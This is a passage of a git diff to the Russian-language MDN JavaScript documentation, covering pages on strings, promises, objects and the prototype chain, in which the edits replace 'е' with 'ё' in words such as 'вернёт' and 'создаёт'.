т.к. строки неизменяемые -mystring[0]; // Вернет: "H" +mystring[0] = 'L'; // Ничего не произойдёт, т.к. строки неизменяемые +mystring[0]; // Вернёт: "H" </pre> <p>Объект <code>String</code> имеет множество методов, в том числе и те, которые возвращают преобразованную исходную строку (методы <code>substring</code>, <code>toUpperCase</code> и другие).</p> @@ -120,7 +120,7 @@ mystring[0]; // Вернет: "H" </tr> <tr> <td>{{jsxref("String.fromCharCode", "fromCharCode")}}, {{jsxref("String.fromCodePoint", "fromCodePoint")}}</td> - <td>Создает строку из указанной последовательности Unicode значений. Это метод класса String, а не отдельного экземпляра этого класса.</td> + <td>Создаёт строку из указанной последовательности Unicode значений. Это метод класса String, а не отдельного экземпляра этого класса.</td> </tr> <tr> <td>{{jsxref("String.split", "split")}}</td> @@ -209,7 +209,7 @@ console.log(`Fifteen is ${a + b} and\nnot ${2 * a + b}.`); <h2 id="Интернационализация">Интернационализация</h2> -<p>Объект {{jsxref("Intl")}} представляет собой пространство имен для ECMAScript API по интернационализации, которое обеспечивает чувствительное к языку сравнение строк, форматирование чисел, времени и даты. Конструкторы для объектов {{jsxref("Collator")}}, {{jsxref("NumberFormat")}} и {{jsxref("DateTimeFormat")}} являются свойствами <code>объекта Intl</code>.</p> +<p>Объект {{jsxref("Intl")}} представляет собой пространство имён для ECMAScript API по интернационализации, которое обеспечивает чувствительное к языку сравнение строк, форматирование чисел, времени и даты. Конструкторы для объектов {{jsxref("Collator")}}, {{jsxref("NumberFormat")}} и {{jsxref("DateTimeFormat")}} являются свойствами <code>объекта Intl</code>.</p> <h3 id="Форматирование_времени_и_даты">Форматирование времени и даты</h3> @@ -247,7 +247,7 @@ console.log(hanDecimalRMBInChina.format(1314.25)); // ￥ 一,三一四.二五 <p>Объект {{jsxref("Collator")}} полезен для сравнения и сортировки строк.</p> -<p>Например, в Германии есть два различных порядка сортировки строк в зависимости от документа: телефонная книга или словарь.<em> </em>Сортировка по типу телефонной книги подчеркивает звуки.</p> +<p>Например, в Германии есть два различных порядка сортировки строк в зависимости от документа: телефонная книга или словарь.<em> </em>Сортировка по типу телефонной книги подчёркивает звуки.</p> <pre class="brush: js">var names = ["Hochberg", "Hönigswald", "Holzman"]; diff --git a/files/ru/web/javascript/guide/using_promises/index.html b/files/ru/web/javascript/guide/using_promises/index.html index fea85730ac..19183e72e9 100644 --- a/files/ru/web/javascript/guide/using_promises/index.html +++ b/files/ru/web/javascript/guide/using_promises/index.html @@ -13,7 +13,7 @@ original_slug: Web/JavaScript/Guide/Ispolzovanie_promisov <p>{{jsSidebar("Руководство по JavaScript")}}{{PreviousNext("Web/JavaScript/Guide/Details_of_the_Object_Model", "Web/JavaScript/Guide/Iterators_and_Generators")}}</p> </div> -<p class="summary">{{jsxref("Promise")}} (промис, англ. "обещание") - это объект, представляющий результат успешного или неудачного завершения асинхронной операции. Так как большинство людей пользуются уже созданными промисами, это руководство начнем с объяснения использования вернувшихся промисов до объяснения принципов создания. </p> +<p class="summary">{{jsxref("Promise")}} (промис, англ. "обещание") - это объект, представляющий результат успешного или неудачного завершения асинхронной операции. Так как большинство людей пользуются уже созданными промисами, это руководство начнём с объяснения использования вернувшихся промисов до объяснения принципов создания. </p> <p>В сущности, промис - это возвращаемый объект, в который вы записываете два колбэка вместо того, чтобы передать их функции.</p> @@ -65,7 +65,7 @@ promise.then(successCallback, failureCallback);</pre> <h2 id="Гарантии">Гарантии</h2> -<p>В отличие от старомодных переданных колбэков промис дает некоторые гарантии:</p> +<p>В отличие от старомодных переданных колбэков промис даёт некоторые гарантии:</p> <ul> <li>Колбэки никогда не будут вызваны до <a href="/ru/docs/Web/JavaScript/EventLoop#Никогда_не_блокируется">завершения обработки текущего события</a> в событийном цикле JavaScript.</li> @@ -134,7 +134,7 @@ let promise2 = promise.then(successCallback, failureCallback); <h3 id="Цепочка_вызовов_после_catch">Цепочка вызовов после catch</h3> -<p>Можно продолжить цепочку вызовов <em>после </em>ошибки, т. е. после <code>catch</code>, что полезно для выполнения новых действий даже после того, как действие вернет ошибку в цепочке вызовов. Ниже приведен пример:</p> +<p>Можно продолжить цепочку вызовов <em>после </em>ошибки, т. е. после <code>catch</code>, что полезно для выполнения новых действий даже после того, как действие вернёт ошибку в цепочке вызовов. Ниже приведён пример:</p> <pre class="syntaxbox"><code class="language-js"><span class="keyword token">new</span> <span class="class-name token">Promise</span><span class="punctuation token">(</span><span class="punctuation token">(</span>resolve<span class="punctuation token">,</span> reject<span class="punctuation token">)</span> <span class="operator token">=</span><span class="operator token">></span> <span class="punctuation token">{</span> console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="string token">'</span></code>Начало<code class="language-js"><span class="string token">'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> @@ -221,7 +221,7 @@ wait(10000).then(() => saySomething("10 seconds")).catch(failureCallback);</c <h2 id="Композиция">Композиция</h2> -<p>{{jsxref("Promise.resolve()")}} и {{jsxref("Promise.reject()")}} короткий способ создать уже успешные или отклоненные промисы соответственно. Это иногда бывает полезно.</p> +<p>{{jsxref("Promise.resolve()")}} и {{jsxref("Promise.reject()")}} короткий способ создать уже успешные или отклонённые промисы соответственно. Это иногда бывает полезно.</p> <p>{{jsxref("Promise.all()")}} и {{jsxref("Promise.race()")}} - два метода запустить асинхронные операции параллельно.</p> @@ -236,7 +236,7 @@ wait(10000).then(() => saySomething("10 seconds")).catch(failureCallback);</c <pre><code>const applyAsync = (acc,val) => acc.then(val); const composeAsync = (...funcs) => x => funcs.reduce(applyAsync, Promise.resolve(x));</code></pre> -<p><code>composeAsync</code> функция примет любое количество функций в качестве аргументов и вернет новую функцию которая примет в параметрах начальное значение, переданное по цепочке. Это удобно, потому что некоторые или все функции могут быть либо асинхронными либо синхронными, и они гарантированно выполнятся в правильной последовательности:</p> +<p><code>composeAsync</code> функция примет любое количество функций в качестве аргументов и вернёт новую функцию которая примет в параметрах начальное значение, переданное по цепочке. Это удобно, потому что некоторые или все функции могут быть либо асинхронными либо синхронными, и они гарантированно выполнятся в правильной последовательности:</p> <pre><code>const transformData = composeAsync(func1, asyncFunc1, asyncFunc2, func2); transformData(data);</code></pre> @@ -249,7 +249,7 @@ transformData(data);</code></pre> <h2 id="Порядок_выполнения">Порядок выполнения</h2> -<p>Чтобы избежать сюрпризов, функции, переданные в <code>then</code> никогда не будут вызваны синхронно, даже с уже разрешенным промисом:</p> +<p>Чтобы избежать сюрпризов, функции, переданные в <code>then</code> никогда не будут вызваны синхронно, даже с уже разрешённым промисом:</p> <pre><code>Promise.resolve().then(() => console.log(2)); console.log(1); // 1, 2</code></pre> @@ -264,9 +264,9 @@ console.log(1); // 1, 2, 3, 4</code></pre> <h2 id="Вложенность">Вложенность</h2> -<p>Простые цепочки promise лучше оставлять без вложений, так как вложенность может быть результатом небрежной структуры. Смотрите <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Guide/Ispolzovanie_promisov$edit#Common_mistakes">распространенные ошибки</a>.</p> +<p>Простые цепочки promise лучше оставлять без вложений, так как вложенность может быть результатом небрежной структуры. Смотрите <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Guide/Ispolzovanie_promisov$edit#Common_mistakes">распространённые ошибки</a>.</p> -<p>Вложенность - это управляющая структура, ограничивающая область действия операторов catch. В частности, вложенный catch только перехватывает сбои в своей области и ниже, а не ошибки выше в цепочке за пределами вложенной области. При правильном использовании это дает большую точность в извлечение ошибок:</p> +<p>Вложенность - это управляющая структура, ограничивающая область действия операторов catch. В частности, вложенный catch только перехватывает сбои в своей области и ниже, а не ошибки выше в цепочке за пределами вложенной области. При правильном использовании это даёт большую точность в извлечение ошибок:</p> <pre><code>doSomethingCritical() .then(result => doSomethingOptional() @@ -291,7 +291,7 @@ doSomething().then(function(result) { }).then(() => doFourthThing()); // Забыл закончить цепочку методом catch</code></pre> -<p>Первая ошибка это неправильно сцепить вещи между собой. Такое происходит когда мы создаем промис но забываем вернуть его. Как следствие, цепочка сломана, но правильнее было бы сказать что теперь у нас есть две независимые цепочки, соревнующиеся за право разрешится первой. Это означает <code>doFourthThing()</code> не будет ждать <code>doSomethingElse()</code> или <code>doThirdThing()</code> пока тот закончится, и будет исполнятся параллельно с ними, это ,вероятно, не то что хотел разработчик. Отдельные цепочки также имеют отдельную обработку ошибок, что приводит к необработанным ошибкам.</p> +<p>Первая ошибка это неправильно сцепить вещи между собой. Такое происходит когда мы создаём промис но забываем вернуть его. Как следствие, цепочка сломана, но правильнее было бы сказать что теперь у нас есть две независимые цепочки, соревнующиеся за право разрешится первой. Это означает <code>doFourthThing()</code> не будет ждать <code>doSomethingElse()</code> или <code>doThirdThing()</code> пока тот закончится, и будет исполнятся параллельно с ними, это ,вероятно, не то что хотел разработчик. Отдельные цепочки также имеют отдельную обработку ошибок, что приводит к необработанным ошибкам.</p> <p>Вторая ошибка это излишняя вложенность, включая первую ошибку. Вложенность также ограничивает область видимости внутренних обработчиков ошибок, если это не то чего хотел разработчик, это может привести к необработанным ошибкам. Примером этого является <a href="https://stackoverflow.com/questions/23803743/what-is-the-explicit-promise-construction-antipattern-and-how-do-i-avoid-it">пример как не нужно создавать обещания</a>, который комбинирует вложенность с чрезмерным использованием конструктора обещаний для оборачивания кода который уже использует промисы.</p> @@ -307,9 +307,9 @@ doSomething().then(function(result) { .then(() => doFourthThing()) .catch(error => console.log(error));</code></pre> -<p>Обратите внимание что <code>() => x</code> это сокращенная форма <code>() => { return x; }</code>.</p> +<p>Обратите внимание что <code>() => x</code> это сокращённая форма <code>() => { return x; }</code>.</p> -<p>Теперь у нас имеется единственная определенная цепочка с правильной обработкой ошибок.</p> +<p>Теперь у нас имеется единственная определённая цепочка с правильной обработкой ошибок.</p> <p>Использование <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/async_function"><code>async</code>/<code>await</code></a> предотвращает большинство, если не все вышеуказанные ошибки—но взамен появляется другая частая ошибка—забыть ключевое слово <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/async_function"><code>await</code></a>.</p> @@ -318,5 +318,5 @@ doSomething().then(function(result) { <ul> <li>{{jsxref("Promise.then()")}}</li> <li><a href="http://promisesaplus.com/">Спецификация Promises/A+ (EN)</a></li> - <li><a href="http://pouchdb.com/2015/05/18/we-have-a-problem-with-promises.html">Нолан Лоусон (Nolan Lawson): У нас проблемы с промисами - распространенные ошибки (EN)</a></li> + <li><a href="http://pouchdb.com/2015/05/18/we-have-a-problem-with-promises.html">Нолан Лоусон (Nolan Lawson): У нас проблемы с промисами - распространённые ошибки (EN)</a></li> </ul> diff --git a/files/ru/web/javascript/guide/working_with_objects/index.html b/files/ru/web/javascript/guide/working_with_objects/index.html index 88742ac122..ee94429f46 100644 --- a/files/ru/web/javascript/guide/working_with_objects/index.html +++ b/files/ru/web/javascript/guide/working_with_objects/index.html @@ -11,11 +11,11 @@ translation_of: Web/JavaScript/Guide/Working_with_Objects <p>Объекты в JavaScript, как и во многих других языках программирования, похожи на объекты реальной жизни. Концепцию объектов JavaScript легче понять, проводя параллели с реально существующими в жизни объектами.</p> -<p>В JavaScript объект — это самостоятельная единица, имеющая свойства и определенный тип. Сравним, например, с чашкой. У чашки есть цвет, форма, вес, материал, из которого она сделана, и т.д. Точно так же, объекты JavaScript имеют свойства, которые определяют их характеристики.</p> +<p>В JavaScript объект — это самостоятельная единица, имеющая свойства и определённый тип. Сравним, например, с чашкой. У чашки есть цвет, форма, вес, материал, из которого она сделана, и т.д. Точно так же, объекты JavaScript имеют свойства, которые определяют их характеристики.</p> <h2 id="Объекты_и_свойства">Объекты и свойства</h2> -<p>В JavaScript объект имеет свойства, ассоциированные с ним. Свойство объекта можно понимать как переменную, закрепленную за объектом. Свойства объекта в сущности являются теми же самыми переменными JavaScript, за тем исключением, что они закреплены за объектом. Свойства объекта определяют его характеристики. Получить доступ к свойству объекта можно с помощью точечной записи:</p> +<p>В JavaScript объект имеет свойства, ассоциированные с ним. Свойство объекта можно понимать как переменную, закреплённую за объектом. Свойства объекта в сущности являются теми же самыми переменными JavaScript, за тем исключением, что они закреплены за объектом. Свойства объекта определяют его характеристики. Получить доступ к свойству объекта можно с помощью точечной записи:</p> <div style="margin-right: 270px;"> <pre class="brush: js">objectName.propertyName @@ -30,7 +30,7 @@ myCar.model = "Mustang"; myCar.year = 1969; </pre> -<p>Неопределенные свойства объекта являются {{jsxref("undefined")}} (а не {{jsxref("null")}}).</p> +<p>Неопределённые свойства объекта являются {{jsxref("undefined")}} (а не {{jsxref("null")}}).</p> <pre class="brush: js line-numbers language-js"><code class="language-js">myCar<span class="punctuation token">.</span>color<span class="punctuation token">;</span> <span class="comment token">// undefined</span></code></pre> @@ -58,7 +58,7 @@ myObj[""] = "Even an empty string"; console.log(myObj); </pre> -<p>Обратите внимание, что все ключи с квадратными скобками преобразуются в тип String, поскольку объекты в JavaScript могут иметь в качестве ключа только тип String. Например, в приведенном выше коде, когда ключ <code>obj</code> добавляется в <code>myObj</code>, JavaScript вызывает метод <code>obj.toString ()</code> и использует эту результирующую строку в качестве нового ключа.</p> +<p>Обратите внимание, что все ключи с квадратными скобками преобразуются в тип String, поскольку объекты в JavaScript могут иметь в качестве ключа только тип String. Например, в приведённом выше коде, когда ключ <code>obj</code> добавляется в <code>myObj</code>, JavaScript вызывает метод <code>obj.toString ()</code> и использует эту результирующую строку в качестве нового ключа.</p> <p>Вы также можете получить доступ к свойствам, используя значение строки, которое хранится в переменной:</p> @@ -71,7 +71,7 @@ myCar[propertyName] = "Mustang"; </pre> </div> -<p>Вы можете пользоваться квадратными скобками в конструкции <a class="internal" href="/ru/docs/JavaScript/Guide/Statements#for...in_Statement" title="ru/docs/JavaScript/Guide/Statements#for...in Statement">for...in</a> чтобы выполнить итерацию всех свойств объекта, для которых она разрешена. Чтобы показать как это работает, следующая функция показывает все свойства объекта, когда вы передаете в нее сам объект и его имя как аргументы функции:</p> +<p>Вы можете пользоваться квадратными скобками в конструкции <a class="internal" href="/ru/docs/JavaScript/Guide/Statements#for...in_Statement" title="ru/docs/JavaScript/Guide/Statements#for...in Statement">for...in</a> чтобы выполнить итерацию всех свойств объекта, для которых она разрешена. Чтобы показать как это работает, следующая функция показывает все свойства объекта, когда вы передаёте в неё сам объект и его имя как аргументы функции:</p> <pre class="brush: js">function showProps(obj, objName) { var result = ""; @@ -137,12 +137,12 @@ myCar.year = 1969</pre> <p>Если объект создан при помощи инициализатора объектов на высшем уровне скрипта, то JavaScript интерпретирует объект каждый раз, когда анализирует выражение, содержащее объект, записанный как литерал. Плюс, если пользоваться функцией инициализатором, то он будет создаваться каждый раз, когда функция вызывается.</p> -<p>Следующая инструкция создает объект и назначает его переменной <code>x</code>, когда выражение <code>cond</code> истинно.</p> +<p>Следующая инструкция создаёт объект и назначает его переменной <code>x</code>, когда выражение <code>cond</code> истинно.</p> <pre class="brush: js">if (cond) var x = {hi: "there"}; </pre> -<p>Следующий пример создает объект <code>myHonda</code> с тремя свойствами. Заметьте, что свойство <code>engine</code> <span style="line-height: 1.5;">—</span> это также объект со своими собственными свойствами.</p> +<p>Следующий пример создаёт объект <code>myHonda</code> с тремя свойствами. Заметьте, что свойство <code>engine</code> <span style="line-height: 1.5;">—</span> это также объект со своими собственными свойствами.</p> <pre class="brush: js">var myHonda = { color: "red", @@ -183,7 +183,7 @@ myCar.year = 1969</pre> <pre class="brush: js">var mycar = new Car("Eagle", "Talon TSi", 1993); </pre> -<p>Эта инструкция создает объект типа Car со ссылкой <code>mycar</code> и присваивает определенные значения его свойствам. Значением <code>mycar.make </code>станет строка "Eagle", <code>mycar.year</code> <span style="line-height: 1.5;">—</span> это целое число 1993, и так далее.</p> +<p>Эта инструкция создаёт объект типа Car со ссылкой <code>mycar</code> и присваивает определённые значения его свойствам. Значением <code>mycar.make </code>станет строка "Eagle", <code>mycar.year</code> <span style="line-height: 1.5;">—</span> это целое число 1993, и так далее.</p> <p>Вы можете создать столько объектов <code>car,</code> сколько нужно, просто вызывая <code>new</code>. Например:</p> @@ -246,11 +246,11 @@ var Animal = { } }; -// Создаем объект Animal +// Создаём объект Animal var animal1 = Object.create(Animal); animal1.displayType(); // Выведет:Invertebrates -// Создаем объект Animal и присваиваем ему type = Fishes +// Создаём объект Animal и присваиваем ему type = Fishes var fish = Object.create(Animal); fish.type = 'Fishes'; fish.displayType(); // Выведет:Fishes</pre> @@ -263,13 +263,13 @@ fish.displayType(); // Выведет:Fishes</pre> <p>В JavaScript 1.0 вы можете сослаться на свойства объекта либо по его имени, либо по его порядковому индексу. В JavaScript 1.1 и позже, если вы изначально определили свойство по имени, вы всегда должны ссылаться на него по его имени, и если вы изначально определили свойство по индексу, то должны ссылаться на него по его индексу.</p> -<p>Это ограничение налагается когда вы создаете объект и его свойства с помощью функции конструктора (как мы это делали ранее с типом <em>Car </em>) и когда вы определяете индивидуальные свойства явно (например, <code>myCar.color = "red"</code>). Если вы изначально определили свойство объекта через индекс, например <code>myCar[5] = "25 mpg"</code>, то впоследствии сослаться на это свойство можно только так <code>myCar[5]</code>.</p> +<p>Это ограничение налагается когда вы создаёте объект и его свойства с помощью функции конструктора (как мы это делали ранее с типом <em>Car </em>) и когда вы определяете индивидуальные свойства явно (например, <code>myCar.color = "red"</code>). Если вы изначально определили свойство объекта через индекс, например <code>myCar[5] = "25 mpg"</code>, то впоследствии сослаться на это свойство можно только так <code>myCar[5]</code>.</p> <p>Исключение из правил <span style="line-height: 1.5;">—</span> объекты, отображаемые из HTML, например массив<code> forms</code>. Вы всегда можете сослаться на объекты в этих массивах или используя их индекс (который основывается на порядке появления в HTML документе), или по их именам (если таковые были определены). Например, если второй html-тег <code><FORM></code> в документе имеет значение атрибута <code>NAME</code> равное "myForm", вы можете сослаться на эту форму вот так: <code>document.forms[1]</code> или <code>document.forms["myForm"]</code> или <code>document.myForm</code>.</p> <h2 id="Определение_свойств_для_типа_объекта">Определение свойств для типа объекта</h2> -<p>Вы можете добавить свойство к ранее определенному типу объекта воспользовавшись специальным свойством <code>prototype</code>. Через <code>prototype</code> создается свойство, единое для всех объектов данного типа, а не одного экземпляра этого типа объекта. Следующий код демонстрирует это, добавляя свойство <code>color</code> ко всем объектам типа <code>car</code>, а затем присваивая значение свойству <code>color</code> объекта<code> car1</code>.</p> +<p>Вы можете добавить свойство к ранее определённому типу объекта воспользовавшись специальным свойством <code>prototype</code>. Через <code>prototype</code> создаётся свойство, единое для всех объектов данного типа, а не одного экземпляра этого типа объекта. Следующий код демонстрирует это, добавляя свойство <code>color</code> ко всем объектам типа <code>car</code>, а затем присваивая значение свойству <code>color</code> объекта<code> car1</code>.</p> <pre class="brush: js">Car.prototype.color = null; car1.color = "black"; @@ -297,7 +297,7 @@ var myObj = { <pre class="brush: js">object.methodname(params); </pre> -<p>Вы можете определять методы для типа объекта, включая определение метода в функцию конструктора объекта. Например, вы можете определить функцию, которая форматирует и отображает свойства до этого определенных объектов <code>car</code>. Например,</p> +<p>Вы можете определять методы для типа объекта, включая определение метода в функцию конструктора объекта. Например, вы можете определить функцию, которая форматирует и отображает свойства до этого определённых объектов <code>car</code>. Например,</p> <pre class="brush: js">function displayCar() { var result = "A Beautiful " + this.year + " " + this.make @@ -359,9 +359,9 @@ car2.displayCar(); <h2 id="Определение_геттеров_и_сеттеров">Определение геттеров и сеттеров</h2> -<p><em><a href="/ru/docs/Web/JavaScript/Reference/Functions/get">Геттер </a>(от англ. get - получить) </em><span style="line-height: 1.5;">—</span><em> </em>это метод, который получает значение определенного свойства. <em><a href="/ru/docs/Web/JavaScript/Reference/Functions/set">Сеттер </a>(от англ. set </em><span style="line-height: 1.5;">—</span><em> присвоить)</em> <span style="line-height: 1.5;">—</span> это метод, который присваивает значение определенному свойству объекта. Вы можете определить геттеры и сеттеры для любых из встроенных или определенных вами объектов, которые поддерживают добавление новых свойств. Синтаксис определения геттеров и сеттеров использует литеральный синтаксис объектов.</p> +<p><em><a href="/ru/docs/Web/JavaScript/Reference/Functions/get">Геттер </a>(от англ. get - получить) </em><span style="line-height: 1.5;">—</span><em> </em>это метод, который получает значение определённого свойства. <em><a href="/ru/docs/Web/JavaScript/Reference/Functions/set">Сеттер </a>(от англ. set </em><span style="line-height: 1.5;">—</span><em> присвоить)</em> <span style="line-height: 1.5;">—</span> это метод, который присваивает значение определённому свойству объекта. Вы можете определить геттеры и сеттеры для любых из встроенных или определённых вами объектов, которые поддерживают добавление новых свойств. Синтаксис определения геттеров и сеттеров использует литеральный синтаксис объектов.</p> -<p>Ниже проиллюстрировано, как могут работать геттеры и сеттеры в объекте определенном пользователем:</p> +<p>Ниже проиллюстрировано, как могут работать геттеры и сеттеры в объекте определённом пользователем:</p> <pre class="brush: js"><code>var o = { a: 7, @@ -386,7 +386,7 @@ console.log(o.a); // 25</code></pre> <li><code>o.c</code> — сеттер, который присваивает значение <code>o.a</code> половине значения которое передано в <code>o.c</code></li> </ul> -<p>Следует особо отметить, что имена функций, указанные в литеральной форме "[gs]et <em>propertyName</em>() { }" не будут в действительности являться именами геттера и сеттера. Чтобы задать в качестве геттера и сеттера функции с явно определенными именами, используйте метод <code><a href="https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/Object/defineProperty" title="en-US/docs/Core JavaScript 1.5 Reference/Global +<p>Следует особо отметить, что имена функций, указанные в литеральной форме "[gs]et <em>propertyName</em>() { }" не будут в действительности являться именами геттера и сеттера. Чтобы задать в качестве геттера и сеттера функции с явно определёнными именами, используйте метод <code><a href="https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/Object/defineProperty" title="en-US/docs/Core JavaScript 1.5 Reference/Global Objects/Object/defineProperty">Object.defineProperty</a></code> (или его устаревший аналог <code><a href="https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/Object/defineGetter" title="en-US/docs/Core JavaScript 1.5 Reference/Global Objects/Object/defineGetter">Object.prototype.__defineGetter__</a></code>).</p> @@ -450,7 +450,7 @@ myobj.b = 12; delete myobj.a; </pre> -<p>Вы также можете воспользоваться <code>delete</code> чтобы удалить глобальную переменную, если ключевое слово <code>var</code> не было использовано при ее объявлении:</p> +<p>Вы также можете воспользоваться <code>delete</code> чтобы удалить глобальную переменную, если ключевое слово <code>var</code> не было использовано при её объявлении:</p> <pre class="brush: js">g = 17; delete g; @@ -460,25 +460,25 @@ delete g; <h2 id="Сравнение_объектов">Сравнение объектов</h2> -<p>В JavaScript объекты имеют ссылочный тип. Два отдельных объекта никогда не будут равными, даже если они имеют равный набор свойств. Только сравнение двух ссылок на один и тот же объект вернет true.</p> +<p>В JavaScript объекты имеют ссылочный тип. Два отдельных объекта никогда не будут равными, даже если они имеют равный набор свойств. Только сравнение двух ссылок на один и тот же объект вернёт true.</p> <pre class="brush: js"><code>// Две переменных ссылаются на два объекта с одинаковыми свойствами var fruit = {name: 'apple'}; var fruitbear = {name: 'apple'}; -fruit == fruitbear; // вернет false -fruit === fruitbear; // вернет false</code></pre> +fruit == fruitbear; // вернёт false +fruit === fruitbear; // вернёт false</code></pre> <pre class="brush: js"><code>// Две переменные ссылаются на один общий объект var fruit = {name: 'apple'}; var fruitbear = fruit; // присвоим переменной fruitbear ссылку на объект fruit // теперь fruitbear и fruit ссылаются на один и тот же объект -fruit == fruitbear; // вернет true -fruit === fruitbear; // вернет true</code></pre> +fruit == fruitbear; // вернёт true +fruit === fruitbear; // вернёт true</code></pre> <pre class="brush: js"><code>fruit.name = 'grape'; -console.log(fruitbear); // вернет { name: "grape" } вместо { name: "apple" }</code></pre> +console.log(fruitbear); // вернёт { name: "grape" } вместо { name: "apple" }</code></pre> <p>Подробнее смотрите <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators">Операторы сравнения</a>.</p> diff --git a/files/ru/web/javascript/index.html b/files/ru/web/javascript/index.html index d7c70db6d0..0e29c2efb4 100644 --- a/files/ru/web/javascript/index.html +++ b/files/ru/web/javascript/index.html @@ -20,7 +20,7 @@ translation_of: Web/JavaScript <p><strong>JavaScript</strong><sup>®</sup> (часто просто <strong>JS</strong>) — это легковесный, интерпретируемый или JIT-компилируемый, объектно-ориентированный язык с {{Glossary("First-class_Function", "функциями первого класса")}}. Наиболее широкое применение находит как язык сценариев веб-страниц, но также <a href="http://en.wikipedia.org/wiki/JavaScript#Uses_outside_web_pages">используется и в других программных продуктах</a>, например, <a href="http://nodejs.org" title="http://nodejs.org">node.js</a> или <a href="http://couchdb.apache.org" title="http://couchdb.apache.org">Apache CouchDB</a>. JavaScript это {{Glossary("Prototype-based_programming", "прототипно-ориентированный")}}, мультипарадигменный язык с динамической типизацией, который поддерживает объектно-ориентированный, императивный и декларативный (например, функциональное программирование) стили программирования. Подробнее <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/%D0%9E_JavaScript">о JavaScript</a>.</p> </div> -<p>Эта часть сайта посвящена самому языку JavaScript, и она не затрагивает тонкостей, связанных с веб-страницами или окружением, в котором исполняется JavaScript. Информация об {{Glossary("API")}}, относящихся к веб-страницам, находится в разделах, посвященных <a href="/ru/docs/Web/API">Веб-API</a> и <a href="/ru/docs/DOM">DOM</a>.</p> +<p>Эта часть сайта посвящена самому языку JavaScript, и она не затрагивает тонкостей, связанных с веб-страницами или окружением, в котором исполняется JavaScript. Информация об {{Glossary("API")}}, относящихся к веб-страницам, находится в разделах, посвящённых <a href="/ru/docs/Web/API">Веб-API</a> и <a href="/ru/docs/DOM">DOM</a>.</p> <p>Стандартом языка JavaScript является <a href="https://developer.mozilla.org/ru/docs/JavaScript/Language_Resources" title="ECMAScript">ECMAScript</a>. По состоянию на 2012, все современные браузеры полностью поддерживают ECMAScript 5.1. Старые версии браузеров поддерживают по крайней мере - ECMAScript 3. 17 июня 2015 года состоялся выпуск шестой версии ECMAScript. Эта версия официально называется ECMAScript 2015, которую чаще всего называют ECMAScript 2015 или просто ES2015. С недавнего времени стандарты ECMAScript выпускаются ежегодно. Эта документация относится к последней версии черновика, которой является <a href="http://tc39.github.io/ecma262/">ECMAScript 2018</a>.</p> @@ -47,7 +47,7 @@ translation_of: Web/JavaScript <dt><a href="/ru/docs/Learn/JavaScript/Asynchronous">Асинхронный JavaScript</a></dt> <dd>Обсуждение асинхронного JavaScript: почему это так важно, как эта возможность языка может использована для обработки потенциальных блокирующих операций, как, например получение данных с сервера.</dd> <dt><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Client-side_web_APIs">Клиентские (браузерные) веб-API</a></dt> - <dd>Когда вы пишите клиент веб-сайтов или приложений на JavaScript, вы не далеко уйдете без использования API – интерфейсов для взаимодействия с браузером и операционной системой, на которой запущен сайт, или даже для операций с данными, полученными от других веб-сайтов и сервисов. В этом цикле статей мы разбираемся, что такое API и как использовать некоторые самые распространенные API, которые вам встретятся при разработке.</dd> + <dd>Когда вы пишите клиент веб-сайтов или приложений на JavaScript, вы не далеко уйдёте без использования API – интерфейсов для взаимодействия с браузером и операционной системой, на которой запущен сайт, или даже для операций с данными, полученными от других веб-сайтов и сервисов. В этом цикле статей мы разбираемся, что такое API и как использовать некоторые самые распространённые API, которые вам встретятся при разработке.</dd> </dl> <h3 id="Руководство_по_JavaScript">Руководство по JavaScript</h3> diff --git a/files/ru/web/javascript/inheritance_and_the_prototype_chain/index.html b/files/ru/web/javascript/inheritance_and_the_prototype_chain/index.html index bf82041c88..5ed538ca47 100644 --- a/files/ru/web/javascript/inheritance_and_the_prototype_chain/index.html +++ b/files/ru/web/javascript/inheritance_and_the_prototype_chain/index.html @@ -21,7 +21,7 @@ translation_of: Web/JavaScript/Inheritance_and_the_prototype_chain <h3 id="Наследование_свойств">Наследование свойств</h3> <p>Объекты в JavaScript — динамические "контейнеры", наполненные свойствами (называемыми <strong>собственными свойствами</strong>). Каждый объект содержит ссылку на свой объект-прототип.<br> - При попытке получить доступ к какому-либо свойству объекта, свойство вначале ищется в самом объекте, затем в прототипе объекта, после чего в прототипе прототипа, и так далее. Поиск ведется до тех пор, пока не найдено свойство с совпадающим именем или не достигнут конец цепочки прототипов.</p> + При попытке получить доступ к какому-либо свойству объекта, свойство вначале ищется в самом объекте, затем в прототипе объекта, после чего в прототипе прототипа, и так далее. Поиск ведётся до тех пор, пока не найдено свойство с совпадающим именем или не достигнут конец цепочки прототипов.</p> <pre class="brush: js notranslate">// В этом примере someObject.[[Prototype]] означает прототип someObject. // Это упрощённая нотация (описанная в стандарте ECMAScript). @@ -209,7 +209,7 @@ var square = new Square(2);</pre> <p>Одной из частых ошибок является расширение <code>Object.prototype</code> или других базовых прототипов.</p> -<p>Такой подход называется monkey patching и нарушает принцип <em>инкапсуляции</em>. Несмотря на то, что ранее он использовался в таких широко распространенных фреймворках, как например, Prototype.js, в настоящее время не существует разумных причин для его использования, поскольку в данном случае встроенные типы "захламляются" дополнительной нестандартной функциональностью.</p> +<p>Такой подход называется monkey patching и нарушает принцип <em>инкапсуляции</em>. Несмотря на то, что ранее он использовался в таких широко распространённых фреймворках, как например, Prototype.js, в настоящее время не существует разумных причин для его использования, поскольку в данном случае встроенные типы "захламляются" дополнительной нестандартной функциональностью.</p> <p>Единственным оправданием расширения базовых прототипов могут являться лишь полифилы - эмуляторы новой функциональности (например, <code>Array.forEach)</code> для не поддерживающих её реализаций языка в старых веб-браузерах.</p> diff --git a/files/ru/web/javascript/javascript_technologies_overview/index.html b/files/ru/web/javascript/javascript_technologies_overview/index.html index 8402d6cecb..70b2b62064 100644 --- a/files/ru/web/javascript/javascript_technologies_overview/index.html +++ b/files/ru/web/javascript/javascript_technologies_overview/index.html @@ -7,7 +7,7 @@ translation_of: Web/JavaScript/JavaScript_technologies_overview <h2 id="Введение">Введение</h2> -<p>Если HTML 